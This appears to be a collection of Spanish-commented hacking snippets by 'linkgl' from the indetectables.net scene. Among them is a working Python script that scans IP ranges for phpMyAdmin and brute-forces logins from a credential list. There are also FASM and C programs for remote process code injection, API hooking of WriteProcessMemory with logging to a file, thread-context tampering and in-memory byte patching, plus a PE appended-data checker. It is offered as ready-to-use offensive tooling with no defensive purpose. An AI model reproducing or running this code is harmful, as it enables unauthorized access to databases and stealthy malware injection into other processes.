#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
 
 
void listarr(LPSTR szDirectorio,LPSTR szNDirectorio)
{
  
  int decoracion_bonita_de_linkgl=1;
  WIN32_FIND_DATA wfd;
  HANDLE ff;
  ff=FindFirstFile(szDirectorio,&wfd);
  if(ff!=0)
  {
    while(FindNextFile(ff,&wfd)!=0)
    {
      if(wfd.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
      {
        if((strcmpi(wfd.cFileName,".")!=0)&&(strcmpi(wfd.cFileName,"..")!=0))
        {
          //printf("%s \n",wfd.cFileName);
          char temp[260]={'\0'};
          char szCDirectorio[260]={'\0'};
          strcpy(szCDirectorio,szNDirectorio);
          strcat(szCDirectorio,wfd.cFileName);
          strcat(szCDirectorio,"/");
          strcpy(temp,szCDirectorio);
          strcat(temp,"*.*");
           
          printf("%s\n",temp);
          //->impresion
          char imp[260]={'\0'};
          strcpy(imp,szNDirectorio);
          strcat(imp,wfd.cFileName);
          strcat(imp,"/");
          //printf("%s\n",imp);
          listarr(temp,szCDirectorio);
        }
      }
    } 
  }
  else
  {
    printf("handle error");
  }
}
int main()
{
  listarr("C:/*.*","C:/");
  printf("fin");
  getchar();
  return 0;
}

#!usr/bin/python
import httplib, urllib, urllib2, cookielib
print """
_                ___                                ___
| |              |   \\                              |  _\\
| |__            |  _/                              |   \\
|____| I N K G L |_|  H P M Y A D M I N F I N D E R |___/ R U T E F O R C E
       - indetectables.net/foro/ -
     - Orgulloso de ser Indetectable -
     - funcion-linkgl.blogspot.com -
"""
###############################
# Script desarrollado         #
# por linkgl                  #
# v.Publica                   #
# 03/01/11                    #
# Funcion-linkgl.blogspot.com #
# indetectables.net           #
# Orgulloso de ser            #
# indetectable                #
###############################
ipInicial=raw_input("Introduce la IP inicial\n")
ipFinal=raw_input("Introduce la IP final\n")
contador=1
cont=0
while(ipInicial != ipFinal):
  corte=ipInicial.split(".")
  if (corte[3]!="255"):  
    corte[3]=contador
  else:
    corte[2]=int(corte[2])+1
    corte[3]=0
    contador=1
  ipInicial=corte[0]+"."+corte[1]+"."+str(corte[2])+"."+str(corte[3])

  try:
    conexion = httplib.HTTPConnection(ipInicial,80,timeout=0.2)
    conexion.request ("GET", "/phpmyadmin/index.php")
    respuesta = conexion.getresponse()
    data=respuesta.read()
    if(data.find("phpMyAdmin")!=-1):
      print "LPB bot: phpMyAdmin Encontrado en ->" + ipInicial + "/phpmyadmin<- Iniciando bruteforce"
      fp=open("bd.txt","r")
      linea=fp.readline()
      while(linea!=""):
        log=linea.split(":")
        galleta = cookielib.CookieJar()
        variables = urllib.urlencode({'lang':'en-utf-8','convcharset':'iso-8859-1','server': '1','submit': 'Go','pma_username': log[0],'pma_password': log[1]})
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(galleta))
        site = opener.open("http://"+ipInicial+"/phpmyadmin/index.php", variables).read()
        if(site.find(ipInicial)!=-1):
          print "LPB bot: Accediste al sistema -> " + log[0] + ":" + log[1]
        linea=fp.readline()
      fp.close()  
  except:
    cont=0
    
  contador=contador+1

#include <stdio.h>
#include <windows.h>
/***************************\
*        _                  *
*       | |                 *
*       | |__               *
* Coder |____|inkgl         *
* Fecha: 02/01/11           *
\***************************/

bool existe_EOF(char *ruta)
{
  //-> Estructuras necesarias 
  IMAGE_DOS_HEADER idh; 
  IMAGE_NT_HEADERS inh;
  IMAGE_SECTION_HEADER ish;
  //-> Variables necesarias
  FILE *fp;
  DWORD iTam;
  DWORD hTam;
  //Abrimos el archivo para leer en binario
  fp=fopen(ruta,"rb");
  if(fp!=NULL)
  {
    fseek(fp,0,SEEK_END);
    iTam=ftell(fp);
    rewind(fp);
    fread(&idh,sizeof(IMAGE_DOS_HEADER),1,fp); 
    fseek(fp,idh.e_lfanew,SEEK_SET); 
    fread(&inh,sizeof(IMAGE_NT_HEADERS),1,fp); 
    fseek(fp,idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * (inh.FileHeader.NumberOfSections - 1),SEEK_SET);
    fread(&ish,sizeof(IMAGE_SECTION_HEADER),1,fp);
    fclose(fp);
    hTam=ish.PointerToRawData + ish.SizeOfRawData;
    if(hTam < iTam)
      return true;
    else
      return false;
  }
}

//->USO
int main()
{
  if(existe_EOF("C:\\salida.exe"))
    printf("El ejecutable tiene EOF");
  else
    printf("El ejecutable no tiene EOF");
  getchar();
  return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
char usage()
{
     printf("\t ---> usage: hex word-to-convert [max length: 50]\n\t ---> example: hex blozzter\n\n");
     }
     
 
 
int main(int argc, char *argv[])
{
  int i;
 
  if (argc == 2) {  //me aseguro que se le haya pasado solo un argumento
           if (strlen(argv[1]) <= 50) {  //admito un maximo de 50 caracteres
               printf("%s ==>\t", argv[1]);
               for(i=0;argv[1][i]!='\0';i++) {  //mientras la cadena no termine, imprimo en hexadecimal ( %x )
                    printf("%X", argv[1][i]);
                    }
                   
              printf("\n");
               }
            else {
                 usage();
                 }
               }
  else {
       usage();
       }
       
  return 0;
}

Format PE GUI 4.0
entry start
include 'win32ax.inc'

;@HOOK WriteprocessMemory             |
;  @Coder: linkgl                     |
;    @Fecha: 10/08/11                 |
;      @Agradecimientos:              |
;         The swash, Drinky94         |
;         & Haker Zero/Yst            |
;        @Sitios web:                 |
;          Indetectables.net          |
;          foro.h-sec.org             |
;_____________________________________|
proceso db 'c:\writeprocessmemory.exe',0
linkpi PROCESS_INFORMATION <>
linksi STARTUPINFO <>
temp dd ?,0
tempu dd ?,0
tam dd ?,0
handle dd ?,0

 
start:
  invoke CreateProcessA,0,addr proceso,0,0,0,CREATE_SUSPENDED,0,0,linksi,linkpi
  invoke LoadLibrary,"kernel32.dll"
  mov [temp],eax
  invoke GetProcAddress,[temp],"VirtualProtect"
  mov [mVP],eax
  invoke GetProcAddress,[temp],"GetProcAddress"
  mov [gpa],eax
  invoke GetProcAddress,[temp],"LoadLibraryA"
  mov [gmh],eax
  invoke GetProcAddress,[temp],"CreateFileA"
  mov [cfa],eax
  invoke GetProcAddress,[temp],"WriteFile"
  mov [wfa],eax
  invoke GetProcAddress,[temp],"SetFilePointer"
  mov [sfp],eax
  invoke GetProcAddress,[temp],"CloseHandle"
  mov [chl],eax

  invoke LoadLibrary,"user32.dll"
  mov [tempu],eax
  invoke GetProcAddress,[tempu],"MessageBoxA"
  mov [msgbox],eax


  mov ebx,final
  sub ebx,inyectame
  mov [tam],ebx
  invoke VirtualAllocEx,[linkpi.hProcess],0,[tam],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  mov [handle],eax
  invoke WriteProcessMemory,[linkpi.hProcess],[handle],addr inyectame,[tam],0
  invoke CreateRemoteThread,[linkpi.hProcess],0,0,[handle],0,0,0
 ; invoke Sleep,3000
  invoke ResumeThread,[linkpi.hThread]
 ret
 
 proc inyectame
  ;EDX = DELTAOFFSET
  ;ESI = EBX
  ;EDI = CUALQUIEROTRACOSA
   call offset
   offset:
   pop edx
   sub edx,offset
   mov edi,edx
   mov esi,edx
   mov esi,edx
   mov edi,edx
   push edx
   ;getmodulehandle
   add edx,kernel
   push edx
   call [edi+gmh] ;getmodulehandle
   ;restaurar
   pop edx
   push edx
   ;getprocaddress
   add edx,wpm
   push edx
   push eax
   call [edi+gpa] ;getprocaddress
   mov ebx,eax
   ;restaura
   pop edx
   push edx
   ;virtualprotect
   add edi,originalp
   push edi
   push 0x40
   push 0x5
   push ebx
   call [edx+mVP]
   ;restaura
   pop edx
   mov edi,edx
   push edx
   ;dir.virtual guardada
   add edx,vwriteprocessmemory
   mov dword [edx],ebx
   ;restaura
   pop edx
   ;modifica bytes
   mov byte [ebx],0xE9
   inc ebx
   mov ecx,hook
   add ecx,edx
   sub ecx,ebx
   sub ecx,4
   mov dword [ebx],ecx
   ret

restaurar:
  mov edi,edi ;esto esta en la api al principio
  push ebp   ;esto tambien, fue lo que pisamos
  mov ebp,esp  ;y esto tambien se piso
  ;add edx,vwriteprocessmemory
  mov eax,[edx+vwriteprocessmemory] ;nos desplazamos a la posicion en memoria de la api
  add eax,5 ;y saltamos 5 bytes (los que habiamos escrito)
  jmp eax

hook:
  call ofdelta
  ofdelta:
  pop edx
  sub edx,ofdelta
  mov esi,edx
;->sacamoslos parametros y los pusheamos
  pop eax ;retorno :P
  pop ebx  ;parametros
  mov [edx+p1],ebx
  pop ebx
  mov [edx+p2],ebx
  pop ebx
  mov [edx+p3],ebx
  pop edi
  mov [edx+p4],edi
  push [edx+p4]
  push [edx+p3]
  push [edx+p2]
  push [edx+p1]
  push eax
  ; push eax
  ;Guardamos el delta para que no nos de errores al restaurar el api
  push edx
  ;createfilea
  add edx,ruta
  push 0
  push 0
  push 4
  push 0
  push 0
  push 0x40000000
  push edx
  call [esi+cfa];createfilea
  mov [esi+hndle],eax
  ;restauramos
  pop edx
  mov esi,edx
  push edx
  ;setfilepointer
  push 2
  push 0
  push 0
  push [esi+hndle]
  call [esi+sfp]  ;setfilepointer
  ;restauramos
  pop edx
  mov esi,edx
  push edx
  ;writefile
  add esi,leidos
  push 0
  push esi
  push edi
  push ebx
  push [edx+hndle]
  call [edx+wfa] ;writefile
  ;limpiamos
  pop edx
  mov esi,edx
  push edx

  push [esi+hndle]
  call [esi+chl]

  ;restauramos el offset delta
  pop edx
  mov ecx,edx
  add ecx,restaurar
  ;msgbox->
  jmp ecx

 

  vwriteprocessmemory dd ? ;Direccion WriteProcessMemory
  msgbox dd ?  ;Dirección MessageBox
  tit db "Inyectado",0
  msg db "Ya me inyecte",0
  mVP dd ? ;Direccion virtualprotect
  originalp dd ?
  kernel db "KERNEL32.DLL",0
  wpm db "WriteProcessMemory",0
  ruta db 'j:\salida.txt',0
  gpa dd ? ;Dir getprocaddress
  gmh dd ? ;Dir loadlibrary/getmodulehandle en su defecto
  cfa dd ? ;Dir createfilea
  wfa dd ? ;Dir writefilea
  sfp dd ? ;Dir setfilepointer
  hndle dd ?
  chl dd ?
  leidos dd ? ;puntero para writefile bytesleidos
  p1 dd ?
  p2 dd ?
  p3 dd ?
  p4 dd ?

  endp
  final:
data import
  library kernel32,'kernel32.dll'
  import kernel32,CreateProcessA,'CreateProcessA',\
  GetModuleHandle,'GetModuleHandleA',\
  GetProcAddress,'GetProcAddress',\
  VirtualAllocEx,'VirtualAllocEx',\
  WriteProcessMemory,'WriteProcessMemory',\
  CreateRemoteThread,'CreateRemoteThread',\
  LoadLibrary,'LoadLibraryA',\
  ResumeThread,'ResumeThread',\
  Sleep,'Sleep'
end data

#include <stdio.h>
#include <windows.h>
  
/*
USOS:
Para obtener el valor de otro registro
cambiar donde dice con.Eax por
con.Registro_que_quieras
*/
  
DWORD ObtenerRegistro(LPSTR proceso)
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   CONTEXT con;
   memset(&si, 0, sizeof(si));
   si.cb = sizeof(STARTUPINFO);
   con.ContextFlags = CONTEXT_FULL;
   if(CreateProcess(NULL, proceso, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)==0)
   {
     return 0;
   }
   GetThreadContext(pi.hThread, &con);
   ResumeThread(pi.hThread);
   return con.Eax;
}
  
BOOL EscribirRegistro(LPSTR proceso,DWORD valor)
{
   STARTUPINFO si;
   PROCESS_INFORMATION pi;
   CONTEXT con;
   memset(&si, 0, sizeof(si));
   si.cb = sizeof(STARTUPINFO);
   con.ContextFlags = CONTEXT_FULL;
   if(CreateProcess(NULL, proceso, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)==0)
   {
     return FALSE;
   }
   GetThreadContext(pi.hThread, &con);
   con.Eax = valor;
   SetThreadContext(pi.hThread,&con);
   ResumeThread(pi.hThread);
   return TRUE;
}
  
//->EJEMPLO DE USO
int main()
{
DWORD eax;
//Cambiamos el valor eax (el entrypoint)
EscribirRegistro("c:\\final.exe",0x413b72f);
eax=ObtenerRegistro("c:\\final.exe");
printf("%x",eax);
getchar();
return 0;
}

Format PE GUI 4.0
entry start
include 'win32ax.inc'

;@Inyección en memoria FASM           |
;  @Coder: linkgl                     |
;_____________________________________|
;Variables necesarias para el programa que va a inyectar
proceso db 'c:\crackme2.exe',0
linkpi PROCESS_INFORMATION <>
linksi STARTUPINFO <>
temp dd ?,0
tempu dd ?,0
tam dd ?,0
handle dd ?,0


start:
  ;Creamos el proceso
  invoke CreateProcessA,0,addr proceso,0,0,0,CREATE_SUSPENDED,0,0,linksi,linkpi
  ;Cargamos user32.dll y sacamos la direccion virtual de MessageBoxA
  invoke LoadLibrary,"user32.dll"
  mov [tempu],eax
  invoke GetProcAddress,[tempu],"MessageBoxA"
  mov [msgbox],eax
  ;Sacamos el tamaño de la funcion a inyectar restando
  ;la dir en memoria de la etiqueta final menos la dir virutal
  ;donde comienza la funcion
  ;(la etiqueta final obviamente debe estar al final de la funcion)
  mov ebx,final
  sub ebx,inyectame
  mov [tam],ebx
  ;Reservamos el espacio en memoria del proceso
  invoke VirtualAllocEx,[linkpi.hProcess],0,[tam],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  mov [handle],eax
  ;Escribimos nuestra funcion en el proceso
  invoke WriteProcessMemory,[linkpi.hProcess],[handle],addr inyectame,[tam],0
  ;Creamos un nuevo hilo donde correra nuestro programa inyectado
  invoke CreateRemoteThread,[linkpi.hProcess],0,0,[handle],0,0,0
 ; invoke Sleep,3000
 ;continuamos el hilo del programa normal
  invoke ResumeThread,[linkpi.hThread]
 ret
 
 proc inyectame
  ;EDX = OffsetDelta
  call offset
  offset:
  pop edx
  sub edx,offset
  ;Movemos el offset delta a edi y esi
  mov edi,edx
  mov esi,edx
  ;Obtenemos la direccion de tit y msg
  ;con ayuda del offsetdelta
  add edi,tit
  add esi,msg
  ;llamamos a la funcion msgbox
  push 0
  push edi
  push esi
  push 0
  call [edx+msgbox]
  ret

  msgbox dd ?  ;Dirección MessageBox
  tit db "Inyectado",0
  msg db "Ya me inyecte",0
  endp
  final:
data import
  library kernel32,'kernel32.dll'
  import kernel32,CreateProcessA,'CreateProcessA',\
  GetProcAddress,'GetProcAddress',\
  VirtualAllocEx,'VirtualAllocEx',\
  WriteProcessMemory,'WriteProcessMemory',\
  CreateRemoteThread,'CreateRemoteThread',\
  LoadLibrary,'LoadLibraryA',\
  ResumeThread,'ResumeThread'
end data 

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
DWORD MassiveReplace(DWORD inicio,LPVOID bytes,LPVOID replace,LPSTR proceso,DWORD tam,DWORD limite)
{
/* 
@Coder->Linkgl
  @Docs:msdn
    @Este código puede ser editado/modificado, respetando los créditos
*/
  //Estructuras necesarias para las API's siguientes
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  //Llenamos las estructuras con 00 para evitar errores
  ZeroMemory(&si, sizeof(si));
  ZeroMemory(&pi, sizeof(pi));
  //Indicamos el tamaño de la estructura
  si.cb = sizeof(si);
  // -->Variables necesarias <--
  DWORD leidos;
  DWORD contador=0;
  char *value;
  // -->Reservamos el espacio necesario en memoria
  // y lo limpiamos <--
  value=(char *)malloc(tam);
  memset(value,0,tam);
  //-->Creamos el proceso
  if(CreateProcess(proceso,"",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi))
  {
    //-->Bucle para leer los bytes desde la direccion indicada en bloques
    // del tamaño indicado 
    while(ReadProcessMemory(pi.hProcess, (LPVOID)inicio, &value, tam, &leidos))
    {
      //->PRINTF Para debuggear la funcion en caso de error
      //printf("%x -> %s -> %s ->%d\n",inicio,&value,bytes,leidos);
      //memset(value,0,tam+10);
      //getchar(); 
      //->findebug
      //->comparamos ambos punteros
      if(memcmp(bytes,&value,tam)==0)
      {
        //->si son iguales terminamos el proceso en el que trabajamos
        // y retornamos la direccion en memoria donde encontramos los
        // bytes
        if(contador<limite)
        {
          //Reservamos la memoria en esa direccion con un tamaño de la longitud de los bytes
          VirtualProtectEx(pi.hProcess,(LPVOID)inicio,tam,0x40,&leidos);
          //Escribimos los nuevos bytes en la direccion en memoria
          WriteProcessMemory(pi.hProcess,(LPVOID)inicio,replace,tam,&leidos);
          //Incrementamos el contador
          contador++;
        }
      }
      //->Incrementamos la direccion en memoria al siguiente bloque a leer
      inicio++;
      //Sleep(100); si son muchos los bytes a buscar mejor le ponemos un pequeño sleep
    }
    //-->Continuamos el hilo
    ResumeThread(pi.hThread);
   // TerminateProcess(pi.hProcess,0);
    return contador;
  }
  else
  {
    return 0;
  }
}
 
int main()
{
  //->Ejemplo de uso  
  char buscar[4]={0x00,0x00,0x00};
  char reemplazar[4]={0x90,0x90,0x90};
  int posicion=MassiveReplace(0x401000,buscar,reemplazar,"c:\\crackme2.exe",3,3);
  if(posicion!=0)
    printf("Se reemplazaron-> %d bytes",posicion);
  else printf("no se encontro %s en la memoria virtual del programa",buscar);
  getchar();
  return 0;
}